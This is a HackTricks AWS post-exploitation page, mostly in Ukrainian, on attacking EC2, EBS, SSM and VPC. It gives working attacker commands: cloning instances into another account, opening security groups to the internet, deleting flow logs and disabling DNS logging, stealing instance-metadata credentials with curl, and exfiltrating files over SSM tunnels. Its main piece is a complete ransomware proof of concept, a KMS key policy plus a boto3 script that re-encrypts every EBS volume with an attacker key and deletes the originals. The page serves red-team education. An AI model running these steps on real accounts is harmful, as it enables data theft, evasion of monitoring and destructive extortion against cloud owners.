AWS - EC2, EBS, SSM & VPC Post Exploitation

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

EC2 & VPC

Для отримання додаткової інформації див.:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

Malicious VPC Mirror - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule

VPC traffic mirroring дублює вхідний та вихідний трафік для EC2 інстансів у VPC без необхідності встановлювати щось на самі інстанси. Цей дубльований трафік зазвичай відправляють до чогось на зразок мережевої системи виявлення вторгнень (IDS) для аналізу та моніторингу.
Зловмисник може зловживати цим, щоб перехопити весь трафік і отримати конфіденційну інформацію з нього:

Для детальнішої інформації див. цю сторінку:

AWS - Malicious VPC Mirror

Copy Running Instance

Інстанси зазвичай містять певну конфіденційну інформацію. Існують різні способи потрапити всередину (див. EC2 privilege escalation tricks). Однак інший спосіб перевірити, що в ньому міститься — створити AMI і запустити новий інстанс (навіть у власному акаунті) з нього:

# List instances
aws ec2 describe-images

# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1

# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

EBS Snapshot dump

Snapshots are backups of volumes, які зазвичай містять чутливу інформацію, тому їх перевірка має розкрити цю інформацію.
Якщо ви знайдете a volume without a snapshot ви можете: Create a snapshot і виконати наступні дії або просто mount it in an instance в межах акаунта:

AWS - EBS Snapshot Dump

Covert Disk Exfiltration via AMI Store-to-S3

Експортуйте EC2 AMI напряму в S3 за допомогою CreateStoreImageTask, щоб отримати raw disk image без snapshot sharing. Це дозволяє виконати повну офлайн-форензіку або крадіжку даних, залишивши мережу instance недоторканою.

AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)

Live Data Theft via EBS Multi-Attach

Прикріпіть io1/io2 Multi-Attach volume до другої instance і змонтуйте його в режимі read-only, щоб викачувати live data без snapshots. Корисно, коли victim volume вже має Multi-Attach увімкнений в межах тієї самої AZ.

AWS - Live Data Theft via EBS Multi-Attach

EC2 Instance Connect Endpoint Backdoor

Створіть EC2 Instance Connect Endpoint, авторизуйте ingress і інжектуйте ephemeral SSH keys для доступу до приватних instances через керований тунель. Надає швидкі шляхи lateral movement без відкриття публічних портів.

AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection

EC2 ENI Secondary Private IP Hijack

Перенесіть secondary private IP victim ENI на attacker-controlled ENI, щоб видавати себе за trusted hosts, які знаходяться в allowlist за IP. Дозволяє обходити внутрішні ACLs або SG правила, прив’язані до конкретних адрес.

AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)

Elastic IP Hijack for Ingress/Egress Impersonation

Переасоціюйте Elastic IP з victim instance на attacker, щоб перехоплювати inbound traffic або генерувати outbound connections, які здаються такими, що походять з trusted public IPs.

AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation

Security Group Backdoor via Managed Prefix Lists

Якщо правило security group посилається на customer-managed prefix list, додавання attacker CIDRs до списку непомітно розширює доступ через усі залежні SG правила без зміни самого SG.

AWS - Security Group Backdoor via Managed Prefix Lists

VPC Endpoint Egress Bypass

Створіть gateway або interface VPC endpoints, щоб відновити outbound access з ізольованих subnets. Використання AWS-managed private links обходить відсутні IGW/NAT контролі для data exfiltration.

AWS – Egress Bypass from Isolated Subnets via VPC Endpoints

ec2:AuthorizeSecurityGroupIngress

Атакувальник з дозволом ec2:AuthorizeSecurityGroupIngress може додавати inbound rules до security groups (наприклад, дозволяючи tcp:80 з 0.0.0.0/0), тим самим піддаючи internal services публічному Internet або іншим неавторизованим мережам.

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0

ec2:ReplaceNetworkAclEntry

Атакуючий із правами ec2:ReplaceNetworkAclEntry (або схожими) може змінити Network ACLs (NACLs) у subnet, зробивши їх дуже дозволяючими — наприклад дозволивши 0.0.0.0/0 на критичних портах — що відкриває весь діапазон subnet в Інтернет або для неавторизованих мережевих сегментів. На відміну від Security Groups, які застосовуються per-instance, NACLs застосовуються на рівні subnet, тому зміна обмежувального NACL може мати значно більший blast radius, дозволяючи доступ до значно більшої кількості hosts.

aws ec2 replace-network-acl-entry \
--network-acl-id <ACL_ID> \
--rule-number 100 \
--protocol <PROTOCOL> \
--rule-action allow \
--egress <true|false> \
--cidr-block 0.0.0.0/0

ec2:Delete*

Зловмисник, який має дозволи ec2:Delete* та iam:Remove*, може видаляти критично важливі інфраструктурні ресурси та конфігурації — наприклад key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. Це може спричинити негайний збій сервісу, втрату даних та утрату судових доказів.

One example is deleting a security group:

aws ec2 delete-security-group
–group-id <SECURITY_GROUP_ID>

VPC Flow Logs Cross-Account Exfiltration

Налаштуйте VPC Flow Logs на запис у S3 bucket, контрольований атакуючим, щоб постійно збирати мережеві метадані (source/destination, ports) за межами облікового запису жертви для довготривалої розвідки.

AWS - VPC Flow Logs Cross-Account Exfiltration to S3

Data Exfiltration

DNS Exfiltration

Навіть якщо ви жорстко заблокуєте EC2 так, що трафік не виходить, він все одно може exfil via DNS.

  • VPC Flow Logs не будуть це записувати.
  • Ви не маєте доступу до AWS DNS logs.
  • Вимкніть це, встановивши “enableDnsSupport” у false за допомогою:

aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>

Exfiltration via API calls

Атакуючий може викликати API endpoints облікового запису, яким він контролює. Cloudtrail буде логувати ці виклики, і атакуючий зможе бачити exfiltrate data у Cloudtrail logs.

Open Security Group

Ви можете отримати додатковий доступ до мережевих сервісів, відкривши порти таким чином:

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC

Privesc to ECS

It’s possible to run an EC2 instance an register it to be used to run ECS instances and then steal the ECS instances data.

For more information check this.

ECS-on-EC2 IMDS Abuse and ECS Agent Impersonation (ECScape)

На ECS з EC2 launch type контрольна площина приймає на себе кожен task role і передає тимчасові облікові дані агенту ECS через Agent Communication Service (ACS) WebSocket канал. Агент потім надає ці облікові дані контейнерам через task metadata endpoint (169.254.170.2). Дослідження ECScape показує, що якщо контейнер може дістатися до IMDS і вкрасти instance profile, він може імітувати агента через ACS і отримати креденшали кожного task role на цьому хості, включно з креденшалами task execution role, які не видно через metadata endpoint.

Attack chain

  1. Steal the container instance role from IMDS. IMDS access is required to obtain the host role used by the ECS agent.
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
  1. Discover the ACS poll endpoint and required identifiers. Using the instance role credentials, call ecs:DiscoverPollEndpoint to obtain the ACS endpoint and gather identifiers such as the cluster ARN and container instance ARN. The cluster ARN is exposed via task metadata (169.254.170.2/v4/), while the container instance ARN can be obtained via the agent introspection API or (if allowed) ecs:ListContainerInstances.
  2. Impersonate the ECS agent over ACS. Initiate a SigV4-signed WebSocket to the poll endpoint and include sendCredentials=true. ECS accepts the connection as a valid agent session and begins streaming IamRoleCredentials messages for all tasks on the instance. This includes task execution role credentials, which can unlock ECR pulls, Secrets Manager retrievals, or CloudWatch Logs access.

Find the PoC in https://github.com/naorhaziz/ecscape

IMDS reachability with IMDSv2 + hop limit 1

Setting IMDSv2 with HttpTokens=required and HttpPutResponseHopLimit=1 only blocks tasks that live behind an extra hop (Docker bridge). Other networking modes stay within one hop of the Nitro controller and still receive responses:

ECS network modeIMDS reachable?Reason
awsvpcКожен task отримує власний ENI, який все ще знаходиться на відстані одного hop від IMDS, тому токени і відповіді метаданих успішно надходять.
hostTasks ділять namespace хоста, тож вони бачать ту ж відстань у hop, що й EC2 instance.
bridgeВідповіді гинуть на Docker bridge, бо цей додатковий hop вичерпує ліміт hoppів.

Тому ніколи не припускайте, що hop limit 1 захищає awsvpc або host-mode workloads — завжди тестуйте зсередини ваших контейнерів.

Detecting IMDS blocks per network mode

  • awsvpc tasks: Security groups, NACLs або зміни у маршрутизації не можуть заблокувати link-local адресу 169.254.169.254, бо Nitro інжектить її на хості. Перевірте /etc/ecs/ecs.config на наявність ECS_AWSVPC_BLOCK_IMDS=true. Якщо прапорець відсутній (за замовчуванням), ви можете curl IMDS прямо з task. Якщо він встановлений, перейдіть у namespace хоста/агента, щоб переключити його назад, або виконайте свої інструменти поза awsvpc.

  • bridge mode: Коли запити до metadata не вдаються, навіть якщо hop limit 1 сконфігуровано, захисники ймовірно вставили DOCKER-USER drop правило типу --in-interface docker+ --destination 169.254.169.254/32 --jump DROP. Перелік iptables -S DOCKER-USER це виявляє, а доступ root дозволяє видалити або змінити порядок правила перед опитуванням IMDS.

  • host mode: Перевірте конфігурацію агента на ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false. Ця опція повністю видаляє task IAM roles, тому вам доведеться або знову її ввімкнути, перейти на awsvpc tasks, або вкрасти креденшали через інший процес на хості. Коли значення true (за замовчуванням), будь-який процес у host-mode — включно з компрометованими контейнерами — може звертатися до IMDS, якщо тільки не застосовано спеціальні eBPF/cgroup фільтри на 169.254.169.254; шукайте tc/eBPF програми або iptables правила, що посилаються на цю адресу.

Latacora even released Terraform validation code you can drop into a target account to enumerate which network modes still expose metadata and plan your next hop accordingly.

Once you understand which modes expose IMDS you can plan your post-exploitation path: target any ECS task, request the instance profile, impersonate the agent, and harvest every other task role for lateral movement or persistence inside the cluster.

Remove VPC flow logs

aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>

SSM Port Forwarding

Необхідні дозволи:

  • ssm:StartSession

Окрім виконання команд, SSM дозволяє тунелювання трафіку, яке можна використати для pivot з EC2 instances, які не мають мережевого доступу через Security Groups або NACLs. Один зі сценаріїв, де це корисно, — це pivoting з Bastion Host до приватного EKS кластера.

Щоб розпочати сесію, потрібно встановити SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

  1. Встановіть SessionManagerPlugin на вашій машині
  2. Увійдіть на Bastion EC2 використовуючи наступну команду:
aws ssm start-session --target "$INSTANCE_ID"
  1. Отримайте тимчасові облікові дані Bastion EC2 AWS за допомогою скрипта Abusing SSRF in AWS EC2 environment
  2. Перенесіть облікові дані на власну машину у файл $HOME/.aws/credentials як профіль [bastion-ec2]
  3. Увійдіть у EKS як Bastion EC2:
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
  1. Оновіть поле server у файлі $HOME/.kube/config, щоб воно вказувало на https://localhost
  2. Створіть тунель SSM наступним чином:
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
  1. Трафік інструмента kubectl тепер переадресовується через SSM tunnel через Bastion EC2, і ви можете отримати доступ до приватного EKS cluster зі своєї машини, виконавши:
kubectl get pods --insecure-skip-tls-verify

Зверніть увагу, що SSL-з’єднання не вдасться встановити, якщо ви не вкажете прапорець --insecure-skip-tls-verify (або його еквівалент у K8s audit tools). Оскільки трафік тунелюється через захищений AWS SSM тунель, ви захищені від будь-яких MitM-атак.

Нарешті, ця техніка не є специфічною лише для атак на приватні EKS кластери. Ви можете вказати довільні домени та порти, щоб pivot до будь-якого іншого AWS сервісу або власного застосунку.


Швидке локальне ↔️ віддалене перенаправлення портів (AWS-StartPortForwardingSession)

Якщо вам потрібно перенаправити лише один TCP-порт з EC2 інстансу на ваш локальний хост, ви можете використати документ SSM AWS-StartPortForwardingSession (параметр віддаленого хоста не потрібен):

aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8000","localPortNumber"="8000" \
--region <REGION>

Команда встановлює двосторонній тунель між вашою робочою станцією (localPortNumber) і обраним портом (portNumber) на інстансі без відкриття будь-яких inbound Security-Group правил.

Типові випадки використання:

  • File exfiltration
  1. На інстансі запустіть швидкий HTTP сервер, який обслуговуватиме директорію, яку ви хочете exfiltrate:
python3 -m http.server 8000
  1. З вашої робочої станції отримайте файли через тунель SSM:
curl http://localhost:8000/loot.txt -o loot.txt
  • Доступ до внутрішніх веб-додатків (наприклад Nessus)
# Forward remote Nessus port 8834 to local 8835
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8834","localPortNumber"="8835"
# Browse to http://localhost:8835

Порада: стисніть і зашифруйте докази перед exfiltrating, щоб CloudTrail не реєстрував незашифрований вміст:

# On the instance
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'

Надати доступ до AMI

aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

Пошук чутливої інформації в публічних та приватних AMIs

  • https://github.com/saw-your-packet/CloudShovel: CloudShovel — інструмент, призначений для пошуку чутливої інформації в публічних або приватних Amazon Machine Images (AMIs). Він автоматизує процес запуску instances з цільових AMIs, монтування їхніх volumes та сканування на наявність потенційних secrets або чутливих даних.

Поділитися EBS Snapshot

aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

EBS Ransomware PoC

Доказ концепції, подібний до демонстрації Ransomware, наведеної в нотатках щодо S3 post-exploitation. KMS варто перейменувати на RMS (Ransomware Management Service) через те, наскільки легко ним користуватися для шифрування різних AWS сервісів.

Спочатку з ‘attacker’ AWS облікового запису створіть customer managed key у KMS. У цьому прикладі ми просто дозволимо AWS керувати даними ключа за нас, але в реалістичному сценарії malicious actor залишив би дані ключа поза контролем AWS. Змініть key policy, щоб дозволити будь-якому AWS account Principal використовувати ключ. Для цієї key policy ім’я облікового запису було ‘AttackSim’, а правило політики, що дозволяє повний доступ, називається ‘Outside Encryption’.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

Політика ключа повинна мати увімкненими наступні дозволи, щоб дозволити використання його для шифрування EBS-тома:

  • kms:CreateGrant
  • kms:Decrypt
  • kms:DescribeKey
  • kms:GenerateDataKeyWithoutPlainText
  • kms:ReEncrypt

Тепер, маючи публічно доступний ключ для використання. Ми можемо використати ‘victim’ акаунт, в якому є кілька запущених EC2 інстансів з приєднаними незашифрованими EBS-томами. Саме EBS-томи цього ‘victim’ акаунту є нашою ціллю для шифрування; ця атака проводиться за припущенням компрометації AWS-акаунту з високими привілеями.

Pasted image 20231231172655 Pasted image 20231231172734

Подібно до S3 ransomware прикладу. Ця атака створить копії приєднаних EBS-томів за допомогою snapshots, використає публічно доступний ключ з ‘attacker’ акаунту для шифрування нових EBS-томів, потім від’єднає оригінальні EBS-томи від EC2 інстансів та видалить їх, а наприкінці видалить snapshots, які були використані для створення нових зашифрованих EBS-томів. Pasted image 20231231173130

В результаті в акаунті залишаться тільки зашифровані EBS-томи.

Pasted image 20231231173338

Також варто зазначити, що скрипт зупинив EC2 інстанси, щоб від’єднати і видалити оригінальні EBS-томи. Оригінальні незашифровані томи тепер зникли.

Pasted image 20231231173931

Далі поверніться до політики ключа в ‘attacker’ акаунті і видаліть правило політики ‘Outside Encryption’ з політики ключа.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

Зачекайте трохи, щоб щойно встановлена key policy поширилася. Потім поверніться до облікового запису ‘victim’ і спробуйте прикріпити один із щойно зашифрованих EBS томів. Ви помітите, що том можна прикріпити.

Pasted image 20231231174131 Pasted image 20231231174258

Але коли ви намагаєтеся фактично запустити EC2 instance з приєднаним зашифрованим EBS томом, запуск не вдається — інстанс переходить зі стану ‘pending’ назад у ‘stopped’ і лишається там, оскільки приєднаний EBS том не може бути розшифрований цим ключем через те, що key policy більше цього не дозволяє.

Pasted image 20231231174322 Pasted image 20231231174352

This the python script used. It takes AWS creds for a ‘victim’ account and a publicly available AWS ARN value for the key to be used for encryption. The script will make encrypted copies of ALL available EBS volumes attached to ALL EC2 instances in the targeted AWS account, then stop every EC2 instance, detach the original EBS volumes, delete them, and finally delete all the snapshots utilized during the process. This will leave only encrypted EBS volumes in the targeted ‘victim’ account. ONLY USE THIS SCRIPT IN A TEST ENVIRONMENT, IT IS DESTRUCTIVE AND WILL DELETE ALL THE ORIGINAL EBS VOLUMES. You can recover them using the utilized KMS key and restore them to their original state via snapshots, but just want to make you aware that this is a ransomware PoC at the end of the day.

import boto3
import argparse
from botocore.exceptions import ClientError

def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes

def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids

def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])

def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']

volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids

def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']

if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")

except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")

def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")


def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")

def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)

all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)

def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed

def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()

def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)

if __name__ == "__main__":
main()

References

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks